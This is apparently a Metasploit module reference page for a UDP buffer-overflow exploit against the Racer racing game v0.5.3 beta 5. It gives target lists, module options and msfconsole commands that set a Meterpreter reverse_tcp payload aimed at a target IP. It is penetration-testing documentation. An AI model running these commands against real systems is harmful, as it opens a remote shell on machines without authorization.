Metasploit Penetration Testing Framework

Racer v0.5.3 beta 5 Buffer Overflow

This module explots the Racer Car and Racing Simulator game versions v0.5.3 beta 5 and earlier. Both the client and server listen on UDP port 26000. By sending an overly long buffer we are able to execute arbitrary code remotely.

Rank

Great

Authors

Trancek < trancek [at] yashira.org >

References

Exploit Targets

0 - Fmodex.dll - Universal (default)
1 - Win XP SP2 English
2 - Win XP SP2 Spanish

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/games/racer_503beta5
msf exploit(racer_503beta5) > show payloads
msf exploit(racer_503beta5) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(racer_503beta5) > set LHOST [MY IP ADDRESS]
msf exploit(racer_503beta5) > set RHOST [TARGET IP]
msf exploit(racer_503beta5) > exploit

Module Options

RHOST	The target address
RPORT	The target port (default: 26000)
CHOST	The local client address
CPORT	The local client port
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session

OSVDB:	CVE:
BID:	MSB:
TEXT: